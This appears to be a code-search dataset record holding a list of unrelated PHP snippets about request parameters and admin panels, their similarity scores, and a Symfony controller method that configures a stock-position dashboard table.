$apikey,\n\t\t\t\t'project_id' => $project_id,\n\t\t\t)\n\t\t);\n ?>\n\t\t<p><label for=\"username\"><?php _e('Benutzername:', 'affiliatetheme-backend'); ?></label> <input type=\"text\" name=\"username\" value=\"<?php echo $username; ?>\" /></p>\n\t\t<p><label for=\"apikey\"><?php _e('API Key:', 'affiliatetheme-backend'); ?></label> <input type=\"text\" name=\"apikey\" value=\"<?php echo $apikey; ?>\" ></p>\n\t\t<p><label for=\"project_id\"><?php _e('Projekt ID:', 'affiliatetheme-backend'); ?></label> <input type=\"text\" name=\"project_id\" value=\"<?php echo $project_id; ?>\" ></p>\n\n <p><?php _e('Kein API Key vorhanden? Bitte wende dich an den Rankalyst Support: [email protected]', 'affiliatetheme-backend'); ?></p>\n\t\t<?php\n }", "public static function get_parameters() {\n return array(\n array(\n 'name' => 'termlist_id',\n 'caption' => 'Term List',\n 'description' => 'The term list being edited.',\n 'type' => 'select',\n 'table' => 'termlist',\n 'captionField' => 'title',\n 'valueField' => 'id',\n 'siteSpecific'=>true,\n 'group' => 'Terms',\n 'required'=>true\n ),\n array(\n 'name' => 'language_id',\n 'caption' => 'Language',\n 'description' => 'The language that terms are created in.',\n 'type' => 'select',\n 'table' => 'language',\n 'captionField' => 'language',\n 'valueField' => 'id',\n 'siteSpecific'=>true,\n 'group' => 'Terms',\n 'required'=>true\n )\n );\n }", "public function indexAction()\n {\n \t\n \t$this->_helper->layout()->disableLayout();\n \t\n\t\t$this->params = $this->getRequest()->getParams();\n \n\t\t$this->view->params = $this->params;\n\t\t\n\t\tif(!isset($this->params['vizType']))\n\t\t{\n\t\t\t$this->view->vizType = 2;\n\t\t}\n\t\t\n\t\tif(isset($this->params['vizType']))\n\t\t{\n\t\t\t$this->view->vizType = $this->params['vizType'];\n\t\t}\n\n\t\tif(isset($this->params['vizEx']))\n\t\t{\n\t\t\t$this->view->vizEx = $this->params['vizEx'];\n\t\t}\n\n\t if(isset($this->params['vizQu']))\n\t\t{\n\t\t\t$this->view->vizQu = $this->params['vizQu'];\n\t\t}\n\t\t\n\t if(isset($this->params['vizVo']))\n\t\t{\n\t\t\t$this->view->vizVo = $this->params['vizVo'];\n\t\t}\n if(isset($this->params['vizMy']))\n\t\t{\n\t\t\t$this->view->vizMy = $this->params['vizMy'];\n\t\t}\n\t\t\n\t if(isset($this->params['vizCon']) && $this->params['vizCon']==1)\n\t\t{\n\t\t\t$this->view->vizCon = 1;\n\t\t} else {\n\t\t\t$this->view->vizCon = 0;\n\t\t}\n\t\t\n\t if(isset($this->params['conceptId']))\n\t\t{\n\t\t\t$this->view->conceptId = $this->params['conceptId'];\n\t\t} else {\n\t\t\t$this->view->conceptId = array();\n\t\t}\n\t if(isset($this->params['keyW']))\n\t\t{\n\t\t\t$this->view->keyW = $this->params['keyW'];\n\t\t} else {\n\t\t\t$this->view->keyW = \"\";\n\t\t}\n \tif(isset($this->params['valueAA']))\n\t\t{\n\t\t\t$this->view->valueAA = $this->params['valueAA'];\n\t\t} else {\n\t\t\t$this->view->valueAA = \"\";\n\t\t}\n \tif(isset($this->params['valueBB']))\n\t\t{\n\t\t\t$this->view->valueBB = $this->params['valueBB'];\n\t\t} else {\n\t\t\t$this->view->valueBB = \"1325350800\";\n\t\t}\n\t\t\n if(isset($this->params['vizDate']))\n\t\t{\n\t\t\t$this->view->vizDate = $this->params['vizDate'];\n\t\t} else {\n\t\t\t$this->view->vizDate = 0;\n\t\t}\n\t\t\n }", "function getParams() {\n global $id;\n global $mode;\n global $view_mode;\n global $edit_mode;\n global $tab;\n if (isset($id)) {\n $this->id=$id;\n }\n if (isset($mode)) {\n $this->mode=$mode;\n }\n if (isset($view_mode)) {\n $this->view_mode=$view_mode;\n }\n if (isset($edit_mode)) {\n $this->edit_mode=$edit_mode;\n }\n if (isset($tab)) {\n $this->tab=$tab;\n }\n}", "function getParams() {\n global $id;\n global $mode;\n global $view_mode;\n global $edit_mode;\n global $tab;\n if (isset($id)) {\n $this->id=$id;\n }\n if (isset($mode)) {\n $this->mode=$mode;\n }\n if (isset($view_mode)) {\n $this->view_mode=$view_mode;\n }\n if (isset($edit_mode)) {\n $this->edit_mode=$edit_mode;\n }\n if (isset($tab)) {\n $this->tab=$tab;\n }\n}", "function getParams() {\n global $id;\n global $mode;\n global $view_mode;\n global $edit_mode;\n global $tab;\n if (isset($id)) {\n $this->id=$id;\n }\n if (isset($mode)) {\n $this->mode=$mode;\n }\n if (isset($view_mode)) {\n $this->view_mode=$view_mode;\n }\n if (isset($edit_mode)) {\n $this->edit_mode=$edit_mode;\n }\n if (isset($tab)) {\n $this->tab=$tab;\n }\n}", "public function drawPanelToolbar() {\n\t\t$html = '';\n\t\t$html .= '<div id=\"toolbar\">'.\"\\n\";\n\t\t$html .= '\t<div id=\"toolbar_container\">'.\"\\n\";\n\t\t$html .= '\t<div class=\"logo\"><a href=\"/treeline/\"><img src=\"/treeline/img/logo.gif\" alt=\"Treeline\" /></a></div>'.\"\\n\";\n\t\t$html .= '\t<div class=\"options\">'.\"\\n\";\n\t\t$html .= '\t\t<input type=\"submit\" class=\"button\" name=\"treeline\" id=\"treeline\" value=\"Save changes\" />'.\"\\n\";\n\t\t$html .= '\t\t<input type=\"submit\" class=\"button cancel\" name=\"treeline\" id=\"treeline\" value=\"Discard changes\" />'.\"\\n\";\t\t\t\n\t\t$html .= '\t</div>'.\"\\n\";\n\t\t$html .= '\t</div>'.\"\\n\";\n\t\t$html .= '\t<div class=\"clear\"></div>';\n\t\t$html .= '</div>';\n\t\treturn $html;\n\t}", "private function build_params() {\n\n\t\t\t$this->per_page = $this->request->get_param( 'per_page' ) ? $this->request->get_param( 'per_page' ) : (int) get_option( 'posts_per_page' );\n\t\t\t$this->page = $this->request->get_param( 'page' ) ? $this->request->get_param( 'page' ) : 1;\n\t\t}", "protected function populateParams()\n\t{\n\n\t\tparent::populateParams();\n\t\t//$acl = ZefaniabibleHelper::getAcl();\n\t\t$mdl_acl = new ZefaniabibleHelper;\n\t\t$acl = $mdl_acl->getAcl();\n\t\tif (!isset($this->_data))\n\t\t\treturn;\n\n\t\t// Convert the parameter fields into objects.\n\t\tforeach ($this->_data as &$item)\n\t\t{\n\n\t\t\tif ($acl->get('core.edit.state')\n\t\t\t\t|| (bool)$item->publish)\n\t\t\t\t$item->params->set('access-view', true);\n\n\t\t\tif ($acl->get('core.edit'))\n\t\t\t\t$item->params->set('access-edit', true);\n\n\t\t\tif ($acl->get('core.delete'))\n\t\t\t\t$item->params->set('access-delete', true);\n\n\n\t\t}\n\n\t}", "public function getServerParams() {}", "public function getParameters() {}", "private function initViewVars()\n {\n $this->viewEngine->vars['loggedUserId'] = $this->model->config->getVar('loggedUserId');\n $this->viewEngine->vars['isUserLogged'] = $this->model->config->getVar('isUserLogged');\n $this->viewEngine->vars['loggedUserRole'] = $this->model->config->getVar('loggedUserRole');\n\n $this->viewEngine->vars['charset'] = $this->model->config->getModuleVar('common', 'charset');\n $this->viewEngine->vars['stylesFolder'] = JAPA_PUBLIC_DIR . 'styles/'.$this->model->config->getModuleVar('common', 'styles_folder');\n $this->viewEngine->vars['scriptsFolder'] = JAPA_PUBLIC_DIR . 'scripts/'.$this->model->config->getModuleVar('common', 'scripts_folder');\n $this->viewEngine->vars['imagesFolder'] = JAPA_PUBLIC_DIR . 'scripts/'.$this->model->config->getModuleVar('common', 'images_folder');\n $this->viewEngine->vars['viewsFolder'] = JAPA_PUBLIC_DIR . 'scripts/'.$this->model->config->getModuleVar('common', 'views_folder');\n $this->viewEngine->vars['controllersFolder'] = JAPA_PUBLIC_DIR . 'scripts/'.$this->model->config->getModuleVar('common', 'controllers_folder');\n $this->viewEngine->vars['urlBase'] = $this->router->getBase();\n $this->viewEngine->vars['adminWebController'] = $this->model->config->getVar('default_module_application_controller');\n $this->viewEngine->vars['default_lang'] = $this->model->config->getModuleVar('common', 'default_lang');\n }", "private function getShowParameters()\n {\n $showingAll = false;\n $start = -100;\n $count = -1;\n\n if ($this->getRequest()->query->has('all')) {\n $start = 0;\n $count = -1;\n $showingAll = true;\n }\n\n return array($start, $count, $showingAll);\n }", "public function getServerParams()\n {\n }", "public static function render_teams_card_parameters() {\n return new external_function_parameters(\n array(\n 'courseid' => new external_value(PARAM_INT, 'course id int', VALUE_DEFAULT, null),\n 'activityid' => new external_value(PARAM_INT, 'activity id int', VALUE_DEFAULT, null),\n 'moduletype' => new external_value(PARAM_RAW, 'moduletype text', VALUE_DEFAULT, null),\n 'selectgroupid' => new external_value(PARAM_RAW, 'selectgroupid text', VALUE_DEFAULT, null),\n )\n );\n }", "public function getViewVars();", "public function getViewVars();", "public function displayAdminPanel() {}", "abstract public function getPanelName();", "function drawOptionsDisplay() {\r\n global $saveShowWbs, $saveShowClosed, $saveShowResource,$planningType, $showListFilter,$showClosedPlanningVersion;?>\r\n <table width=\"100%\">\r\n <?php if ($planningType!='contract' and $planningType!='version') {?>\r\n <tr class=\"checkboxLabel\">\r\n <td><?php echo ucfirst(i18n(\"labelShowWbs\".((isNewGui())?'':'Short')));?></td>\r\n <td width=\"35px\">\r\n <div title=\"<?php echo ucfirst(i18n('showWbs'));?>\" dojoType=\"dijit.form.CheckBox\" \r\n class=\"whiteCheck\" type=\"checkbox\" id=\"showWBS\" name=\"showWBS\"\r\n <?php if ($saveShowWbs=='1') { echo ' checked=\"checked\" '; }?> >\r\n <script type=\"dojo/method\" event=\"onChange\" >\r\n saveUserParameter('planningShowWbs',((this.checked)?'1':'0'));\r\n refreshJsonPlanning();\r\n </script>\r\n </div>&nbsp;\r\n </td>\r\n </tr>\r\n <?php }?>\r\n <tr class=\"checkboxLabel\" <?php echo ($planningType=='version')?'style=\"height:25px\"':''?>>\r\n <td><?php echo ucfirst(i18n(\"labelShowIdle\".((isNewGui() or $planningType=='version')?'':'Short')));?></td>\r\n <td style=\"width: 30px;\">\r\n <?php if ($planningType=='version') {?>\r\n <div title=\"<?php echo i18n('labelShowIdle')?>\" dojoType=\"dijit.form.CheckBox\" \r\n class=\"whiteCheck\" type=\"checkbox\" id=\"showClosedPlanningVersion\" name=\"showClosedPlanningVersion\"\r\n <?php if ($showClosedPlanningVersion=='1') { echo ' checked=\"checked\" '; }?> >\r\n <script type=\"dojo/method\" event=\"onChange\" >\r\n saveUserParameter('planningVersionShowClosed',((this.checked)?'1':'0'));\r\n refreshJsonPlanning();\r\n </script>\r\n </div>&nbsp;\r\n <?php } else {?>\r\n <div title=\"<?php echo ucfirst(i18n('showIdleElements'));?>\" dojoType=\"dijit.form.CheckBox\" \r\n class=\"whiteCheck\" type=\"checkbox\" id=\"listShowIdle\" name=\"listShowIdle\"\r\n <?php if ($saveShowClosed=='1') { echo ' checked=\"checked\" '; }?> >\r\n <script type=\"dojo/method\" event=\"onChange\" >\r\n saveUserParameter('planningShowClosed',((this.checked)?'1':'0'));\r\n refreshJsonPlanning();\r\n </script>\r\n </div>&nbsp;\r\n <?php }?>\r\n </td>\r\n </tr>\r\n <?php \r\n if (strtoupper(Parameter::getUserParameter('displayResourcePlan'))!='NO' and ($planningType=='planning' or $planningType=='global' or $planningType=='contract' or $planningType=='version') ) {?>\r\n <tr class=\"checkboxLabel\" <?php echo ($planningType=='version')?'style=\"height:25px\"':''?>>\r\n <td>\r\n <?php if ($planningType=='version') {?><div id=\"displayRessource\" style=\"visibility:<?php echo ($showListFilter=='true')?'visible':'hidden';?>;\"><?php }?>\r\n <?php echo ucfirst(i18n(\"labelShowResource\".((isNewGui() or $planningType=='version')?'':'Short')));?>\r\n <?php if ($planningType=='version') {?></div><?php }?>\r\n </td>\r\n <td style=\"width: 30px;\">\r\n <?php if ($planningType=='version') {?><div id=\"displayRessourceCheck\" style=\"visibility:<?php echo ($showListFilter=='true')?'visible':'hidden';?>!important;\"><?php }?>\r\n <div title=\"<?php echo ucfirst(i18n('showResources'));?>\" dojoType=\"dijit.form.CheckBox\" \r\n class=\"whiteCheck\" type=\"checkbox\" \r\n <?php if ($planningType=='version') {?>id=\"showRessourceComponentVersion\" name=\"showRessourceComponentVersion\"<?php } else { ?>id=\"listShowResource\" name=\"listShowResource\"<?php }?> \r\n <?php if ($saveShowResource=='1') { echo ' checked=\"checked\" '; }?> >\r\n <script type=\"dojo/method\" event=\"onChange\" >\r\n saveUserParameter('planningShowResource',((this.checked)?'1':'0'));\r\n refreshJsonPlanning();\r\n </script>\r\n </div>&nbsp;\r\n <?php if ($planningType=='version') {?></div><?php }?>\r\n </td>\r\n </tr>\r\n <?php \r\n }?>\r\n </table>\r\n<?php \r\n}", "public function getParams()\r\n {\r\n \tglobal $mainframe;\r\n \t\r\n \t$params =& JComponentHelper::getParams('com_jresearch');\r\n $jinput = JFactory::getApplication()->input; \r\n \t$itemid = $jinput->getInt('Itemid', 0);\r\n \t\r\n \tif($itemid != 0 && !$mainframe->isAdmin())\r\n \t{\r\n \t\t$menu = JSite::getMenu();\r\n \t\t$mparams = $menu->getParams($itemid);\r\n \t\t\r\n \t\t$params->merge($mparams);\r\n \t}\r\n \t\r\n \treturn $params;\r\n }", "public static function data_for_course_competencies_page_parameters() {\n $courseid = new external_value(\n PARAM_INT,\n 'The course id',\n VALUE_REQUIRED\n );\n $moduleid = new external_value(\n PARAM_INT,\n 'The module id',\n VALUE_DEFAULT,\n 0\n );\n $params = array('courseid' => $courseid, 'moduleid' => $moduleid);\n return new external_function_parameters($params);\n }" ]
[ "0.6100187", "0.5971384", "0.5949105", "0.5901366", "0.5876582", "0.5826999", "0.58166915", "0.5815034", "0.5659792", "0.5643734", "0.5628546", "0.56203085", "0.56015724", "0.55919707", "0.55825263", "0.5580178", "0.5534211", "0.55294216", "0.5525045", "0.5518244", "0.5483883", "0.54623336", "0.5447506", "0.5444851", "0.53734785", "0.536731", "0.53452796", "0.5345193", "0.53371704", "0.533338", "0.533338", "0.53307766", "0.53296506", "0.53169096", "0.53150374", "0.53079784", "0.5300164", "0.5284777", "0.52634233", "0.52586967", "0.5233271", "0.5229155", "0.52209795", "0.5207262", "0.5203484", "0.5201072", "0.5197371", "0.5193464", "0.5192478", "0.51895344", "0.5189052", "0.5185557", "0.51850826", "0.5184651", "0.5183776", "0.5182298", "0.51763827", "0.5168026", "0.5163725", "0.5158218", "0.5155383", "0.515145", "0.51493317", "0.5149", "0.5147855", "0.5147855", "0.5147855", "0.5147855", "0.5146153", "0.5141341", "0.513808", "0.51358104", "0.5119487", "0.51181805", "0.5093497", "0.5088496", "0.50868136", "0.50857913", "0.50583804", "0.50252354", "0.5024188", "0.5023549", "0.5022705", "0.5022705", "0.5022705", "0.5019775", "0.5019584", "0.5017343", "0.5008853", "0.49996492", "0.49962586", "0.4992755", "0.49921945", "0.49909693", "0.498549", "0.498549", "0.4981944", "0.49792486", "0.4977407", "0.49700946", "0.4963642" ]
0.0
-1
Generate the parameters to use when render panel position in the dashboard view.
protected function getPositionPanel(FormInterface $form): array { $stockNoteForm = $this->form->create(StockNoteType::class); return [ 'entity_name' => 'position', 'search_width' => '235px', 'form' => $form->createView(), 'fields' => [ [ 'name' => 'openedAt', 'label' => 'Added Date', 'render' => 'date', 'date_format' => 'DD/MM/YYYY', // moment date format https://momentjs.com/docs/#/displaying/format/ 'class' => 'js-manager-table-extra-cell-hide', ], [ 'name' => 'stock.name', 'label' => 'Stock', 'col_with' => '264', 'class' => 'js-manager-table-extra-cell-show', ], [ 'name' => 'stock.symbol', 'label' => 'Symbol', ], [ 'name' => 'stock.market.symbol', 'label' => 'Market', ], [ 'name' => 'stock.price', 'label' => 'Price', 'render' => 'money', 'class' => 'js-manager-table-extra-cell-hide', ], [ 'name' => 'amount', 'label' => 'Amt', ], [ 'name' => 'capital', 'render' => 'money', ], [ 'name' => 'invested', 'render' => 'money', ], [ 'name' => 'dividend', 'render' => 'money', ], [ 'name' => 'displayBenefits', 'label' => 'benefits', 'render' => 'quantity', 'quantity' => 'benefits.value', 'class' => 'js-manager-table-extra-cell-hide', ], [ 'name' => 'displayChange', 'label' => 'Change', 'render' => 'quantity', 'quantity' => 'change ? change.value : null', 'class' => 'js-manager-table-extra-cell-hide', ], ], 'buttons' => [ // [ // 'type' => 'secondary', // 'jsClass' => 'js-stock-note', // 'icon' => 'far fa-sticky-note', // ], [ 'type' => 'warning', 'jsClass' => 'js-position-dividend', 'icon' => 'fas fa-donate', ], [ 'type' => 'success', 'jsClass' => 'js-position-buy', 'icon' => 'fas fa-bold', ], [ 'type' => 'danger', 'jsClass' => 'js-position-sell', 'icon' => 'fab fa-stripe-s', ], ], 'stock_note' => [ 'entity_name' => 'stock note', 'form' => $stockNoteForm->createView(), ], ]; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getPanel()\n {\n $this->_request = Zend_Controller_Front::getInstance()->getRequest();\n $viewRenderer = Zend_Controller_Action_HelperBroker::getStaticHelper('viewRenderer');\n $viewVars = $viewRenderer->view->getVars();\n $vars = '';\n if ($this->_request->isPost())\n {\n $vars .= '<h4>$_POST</h4>'\n . '<div id=\"ZFDebug_post\">' . $this->_cleanData($this->_request->getPost()) . '</div>';\n }\n \n if (isset($_SESSION)) {\n \t$vars .= '<h4>$_SESSION</h4>'\n\t\t\t\t. '<div id=\"ZFDebug_cookie\">' . $this->_cleanData($_SESSION) . '</div>';\n }\n\n $vars .= '<h4>$_COOKIE</h4>'\n . '<div id=\"ZFDebug_cookie\">' . $this->_cleanData($this->_request->getCookie()) . '</div>'\n . '<h4>Request</h4>'\n . '<div id=\"ZFDebug_requests\">' . $this->_cleanData($this->_request->getParams()) . '</div>'\n . '<h4>View vars</h4>'\n . '<div id=\"ZFDebug_vars\">' . $this->_cleanData($viewVars) . '</div>';\n return $vars;\n }", "public function getDesignParams();", "public function panel() {\n if(Auth::isLoggedIn()) {\n $this->view->render('admin/module/liveEdit/panel', [\n 'nodes' => $this->get($this->route),\n 'user' => $this->user,\n 'route' => $this->route,\n 'template' => $this->template,\n 'languages' => $this->em->all(Language::class),\n 'current_language' => $this->em->findBy(Language::class ,[\n 'code' => $_SESSION['Lampion']['language']\n ])[0],\n 'name' => $this->routeNames[$this->route] ?? null\n ]);\n }\n }", "public function panel (\\stdClass $param);", "public function getParamsToView();", "public function getLayoutParameters(): array;", "public static function get_parameters() {\n $r = array_merge(\n iform_map_get_map_parameters(),\n iform_report_get_minimal_report_parameters(),\n array(\n array(\n 'name' => 'downloadOwnDataOnly',\n 'caption' => 'Download own data only',\n 'description' => 'If ticked then the user is only allowed to download data when showing just their own data.',\n 'type' => 'checkbox',\n 'default' => false,\n 'required' => false\n ),\n array(\n 'name' => 'includeEditLink',\n 'caption' => 'Include edit link',\n 'description' => 'Include an edit link for each row that was input by the current user',\n 'type' => 'checkbox',\n 'default' => true,\n 'required' => false\n ),\n array(\n 'name' => 'includeEditLinkPath',\n 'caption' => 'Path to page used for edits',\n 'description' => 'The path to the page used for edits. This is just the site relative path, e.g. http://www.example.com/index.php?q=enter-records needs '.\n 'to be input as just enter-records. The path is called with the id of the record in a parameter called occurrence_id.',\n 'type' => 'text_input',\n 'default' => '',\n 'required' => false\n ),\n array(\n 'name' => 'columns_config',\n 'caption' => 'Columns Configuration',\n 'description' => 'Define a list of columns with various configuration options when you want to override the '.\n 'default output of the report.',\n 'type' => 'jsonwidget',\n 'schema' => '{\n \"type\":\"seq\",\n \"title\":\"Columns List\",\n \"sequence\":\n [\n {\n \"type\":\"map\",\n \"title\":\"Column\",\n \"mapping\": {\n \"fieldname\": {\"type\":\"str\",\"desc\":\"Name of the field to output in this column. Does not need to be specified when using the template option.\"},\n \"display\": {\"type\":\"str\",\"desc\":\"Caption of the column, which defaults to the fieldname if not specified.\"},\n \"actions\": {\n \"type\":\"seq\",\n \"title\":\"Actions List\",\n \"sequence\": [{\n \"type\":\"map\",\n \"title\":\"Actions\",\n \"desc\":\"List of actions to make available for each row in the grid.\",\n \"mapping\": {\n \"caption\": {\"type\":\"str\",\"desc\":\"Display caption for the action\\'s link.\"},\n \"visibility_field\": {\"type\":\"str\",\"desc\":\"Optional name of a field in the data which contains true or false to define the visibility of this action.\"},\n \"img\": {\"type\":\"str\",\"desc\":\"Set img to the path to an image to use an image for the action instead of a text caption - the caption '.\n 'then becomes the image\\'s title. The image path can contain {rootFolder} to be replaced by the root folder of the site, in this '.\n 'case it excludes the path parameter used in Drupal when dirty URLs are used (since this is a direct link to a URL).\"},\n \"url\": {\"type\":\"str\",\"desc\":\"A url that the action link will point to, unless overridden by JavaScript. The url can contain tokens which '.\n 'will be subsituted for field values, e.g. for http://www.example.com/image/{id} the {id} is replaced with a field called id in the current row. '.\n 'Can also use the subsitution {currentUrl} to link back to the current page, {rootFolder} to represent the folder on the server that the current PHP page is running from, and '.\n '{imageFolder} for the image upload folder\"},\n \"urlParams\": {\n \"type\":\"map\",\n \"subtype\":\"str\",\n \"desc\":\"List of parameters to append to the URL link, with field value replacements such as {id} begin replaced '.\n 'by the value of the id field for the current row.\"\n },\n \"class\": {\"type\":\"str\",\"desc\":\"CSS class to attach to the action link.\"},\n \"javascript\": {\"type\":\"str\",\"desc\":\"JavaScript that will be run when the link is clicked. Can contain field value substitutions '.\n 'such as {id} which is replaced by the value of the id field for the current row. Because the javascript may pass the field values as parameters to functions, '.\n 'there are escaped versions of each of the replacements available for the javascript action type. Add -escape-quote or '.\n '-escape-dblquote to the fieldname. For example this would be valid in the action javascript: foo(\\\"{bar-escape-dblquote}\\\"); '.\n 'even if the field value contains a double quote which would have broken the syntax.\"}\n }\n }]\n },\n \"visible\": {\"type\":\"bool\",\"desc\":\"Should this column be shown? Hidden columns can still be used in templates or actions.\"},\n \"template\": {\"type\":\"txt\",\"desc\":\"Allows you to create columns that contain dynamic content using a template, rather than just the output '.\n 'of a field. The template text can contain fieldnames in braces, which will be replaced by the respective field values. '.\n 'Note that template columns cannot be sorted by clicking grid headers.\" }\n }\n }\n ]\n}',\n 'required' => false,\n 'group' => 'Report Settings'\n ),\n )\n );\n // @todo Set the default report name\n foreach ($r as &$param) {\n if ($param['name']==='report_name') {\n $param['default'] = 'library/occurrences/explore_list';\n $param['description'] .= '<br/>The report used must meet a set of criteria to be used for this form, as illustrated by the library/occurrences/explore_list '.\n 'report. The report should have the following columns:<br/>'.\n '<strong>belongs_to_user</strong> - a boolean indicating if the record belongs to (i.e. is editable by) the logged in user.<br/>'.\n '<strong>certainty</strong> - text output which identifies the certainty of the record if known. This is appended to the word '.\n 'certainty to make a class which is attached to the row HTML, allowing you to use CSS to style the row output. E.g. if the report '.\n 'outputs C in this column then the row HTML will have a class certaintyC.<br/>'.\n '<br/>The report should have the following parameters:<br/>'.\n '<strong>location_id</strong> - Warehouse ID of the user\\'s preferred recording location passed automatically from the user\\'s account. Only applied if own_locality is 1.<br/>'.\n '<strong>ownLocality</strong> - Boolean (1 or 0) parameter which defines if the output should be filtered to the contents of the location identified by location_id.<br/>'.\n '<strong>taxon_groups</strong> Takes a comma separated list of taxon_group_ids as a string suitable for insertion into an SQL in (...) clause. '.\n 'Will be passed the user\\'s preferred species groups from their user account if the Easy Login feature is installed. Only applied if ownGroups is 1.<br/>'.\n '<strong>ownGroups</strong> - Boolean (1 or 0) parameter which defines if the output should be filtered to the contents of the taxon groups identified by taxon_groups.<br/>'.\n '<strong>currentUser</strong> Warehouse User ID of the logged in user, used to filter records to their own data. Only applied if ownData is 1.<br/>'.\n '<strong>ownData</strong> - Boolean (1 or 0) parameter which defines if the output should be filtered to the user\\'s own records.';\n }\n elseif ($param['name']==='param_presets')\n $param['default'] = \"smpattrs=\\noccattrs=\\nlocation_id={profile_location}\\ntaxon_groups={profile_taxon_groups}\\ncurrentUser={profile_indicia_user_id}\";\n elseif ($param['name']==='param_defaults')\n $param['default'] = \"idlist=\\nsearchArea=\";\n elseif ($param['name']==='standard_controls')\n $param['default'] = \"layerSwitcher\\npanZoomBar\";\n }\n return $r;\n }", "public function getParameters() {\r\n $paramArray = array(\r\n 'optionsName' => $this->optionsName,\r\n 'userName' => $this->userName,\r\n 'isActive' => $this->isActive,\r\n 'activeMeasurement' => $this->activeMeasurement,\r\n 'bloodPressureUnits' => $this->bloodPressureUnits,\r\n 'calorieUnits' => $this->calorieUnits,\r\n 'exerciseUnits' => $this->exerciseUnits,\r\n 'glucoseUnits' => $this->glucoseUnits,\r\n 'sleepUnits' => $this->sleepUnits,\r\n 'weightUnits' => $this->weightUnits,\r\n 'timeFormat' => $this->timeFormat,\r\n 'durationFormat' => $this->durationFormat,\r\n 'showTooltips' => $this->showTooltips,\r\n 'showSecondaryCols' => $this->showSecondaryCols,\r\n 'showDateCol' => $this->showDateCol,\r\n 'showTimeCol' => $this->showTimeCol,\r\n 'showNotesCol' => $this->showNotesCol,\r\n 'numRows' => $this->numRows,\r\n 'showTable' => $this->showTable,\r\n 'tableSize' => $this->tableSize,\r\n 'chartPlacement' => $this->chartPlacement,\r\n 'showFirstChart' => $this->showFirstChart,\r\n 'showSecondChart' => $this->showSecondChart,\r\n 'firstChartType' => $this->firstChartType,\r\n 'secondChartType' => $this->secondChartType,\r\n 'chartLastYear' => $this->chartLastYear,\r\n 'chartGroupDays' => $this->chartGroupDays,\r\n 'individualBloodPressureChartStart' => $this->individualBloodPressureChartStart->format(self::DATE_FORMAT),\r\n 'individualBloodPressureChartEnd' => $this->individualBloodPressureChartEnd->format(self::DATE_FORMAT),\r\n 'dailyBloodPressureChartStart' => $this->dailyBloodPressureChartStart->format(self::DATE_FORMAT),\r\n 'dailyBloodPressureChartEnd' => $this->dailyBloodPressureChartEnd->format(self::DATE_FORMAT),\r\n 'weeklyBloodPressureChartStart' => $this->weeklyBloodPressureChartStart->format(self::DATE_FORMAT),\r\n 'weeklyBloodPressureChartEnd' => $this->weeklyBloodPressureChartEnd->format(self::DATE_FORMAT),\r\n 'monthlyBloodPressureChartStart' => $this->monthlyBloodPressureChartStart->format(self::DATE_FORMAT),\r\n 'monthlyBloodPressureChartEnd' => $this->monthlyBloodPressureChartEnd->format(self::DATE_FORMAT),\r\n 'yearlyBloodPressureChartStart' => $this->yearlyBloodPressureChartStart->format(self::DATE_FORMAT),\r\n 'yearlyBloodPressureChartEnd' => $this->yearlyBloodPressureChartEnd->format(self::DATE_FORMAT),\r\n 'individualCaloriesChartStart' => $this->individualCaloriesChartStart->format(self::DATE_FORMAT),\r\n 'individualCaloriesChartEnd' => $this->individualCaloriesChartEnd->format(self::DATE_FORMAT),\r\n 'dailyCaloriesChartStart' => $this->dailyCaloriesChartStart->format(self::DATE_FORMAT),\r\n 'dailyCaloriesChartEnd' => $this->dailyCaloriesChartEnd->format(self::DATE_FORMAT),\r\n 'weeklyCaloriesChartStart' => $this->weeklyCaloriesChartStart->format(self::DATE_FORMAT),\r\n 'weeklyCaloriesChartEnd' => $this->weeklyCaloriesChartEnd->format(self::DATE_FORMAT),\r\n 'monthlyCaloriesChartStart' => $this->monthlyCaloriesChartStart->format(self::DATE_FORMAT),\r\n 'monthlyCaloriesChartEnd' => $this->monthlyCaloriesChartEnd->format(self::DATE_FORMAT),\r\n 'yearlyCaloriesChartStart' => $this->yearlyCaloriesChartStart->format(self::DATE_FORMAT),\r\n 'yearlyCaloriesChartEnd' => $this->yearlyCaloriesChartEnd->format(self::DATE_FORMAT),\r\n 'individualExerciseChartStart' => $this->individualExerciseChartStart->format(self::DATE_FORMAT),\r\n 'individualExerciseChartEnd' => $this->individualExerciseChartEnd->format(self::DATE_FORMAT),\r\n 'dailyExerciseChartStart' => $this->dailyExerciseChartStart->format(self::DATE_FORMAT),\r\n 'dailyExerciseChartEnd' => $this->dailyExerciseChartEnd->format(self::DATE_FORMAT),\r\n 'weeklyExerciseChartStart' => $this->weeklyExerciseChartStart->format(self::DATE_FORMAT),\r\n 'weeklyExerciseChartEnd' => $this->weeklyExerciseChartEnd->format(self::DATE_FORMAT),\r\n 'monthlyExerciseChartStart' => $this->monthlyExerciseChartStart->format(self::DATE_FORMAT),\r\n 'monthlyExerciseChartEnd' => $this->monthlyExerciseChartEnd->format(self::DATE_FORMAT),\r\n 'yearlyExerciseChartStart' => $this->yearlyExerciseChartStart->format(self::DATE_FORMAT),\r\n 'yearlyExerciseChartEnd' => $this->yearlyExerciseChartEnd->format(self::DATE_FORMAT),\r\n 'individualGlucoseChartStart' => $this->individualGlucoseChartStart->format(self::DATE_FORMAT),\r\n 'individualGlucoseChartEnd' => $this->individualGlucoseChartEnd->format(self::DATE_FORMAT),\r\n 'dailyGlucoseChartStart' => $this->dailyGlucoseChartStart->format(self::DATE_FORMAT),\r\n 'dailyGlucoseChartEnd' => $this->dailyGlucoseChartEnd->format(self::DATE_FORMAT),\r\n 'weeklyGlucoseChartStart' => $this->weeklyGlucoseChartStart->format(self::DATE_FORMAT),\r\n 'weeklyGlucoseChartEnd' => $this->weeklyGlucoseChartEnd->format(self::DATE_FORMAT),\r\n 'monthlyGlucoseChartStart' => $this->monthlyGlucoseChartStart->format(self::DATE_FORMAT),\r\n 'monthlyGlucoseChartEnd' => $this->monthlyGlucoseChartEnd->format(self::DATE_FORMAT),\r\n 'yearlyGlucoseChartStart' => $this->yearlyGlucoseChartStart->format(self::DATE_FORMAT),\r\n 'yearlyGlucoseChartEnd' => $this->yearlyGlucoseChartEnd->format(self::DATE_FORMAT),\r\n 'individualSleepChartStart' => $this->individualSleepChartStart->format(self::DATE_FORMAT),\r\n 'individualSleepChartEnd' => $this->individualSleepChartEnd->format(self::DATE_FORMAT),\r\n 'dailySleepChartStart' => $this->dailySleepChartStart->format(self::DATE_FORMAT),\r\n 'dailySleepChartEnd' => $this->dailySleepChartEnd->format(self::DATE_FORMAT),\r\n 'weeklySleepChartStart' => 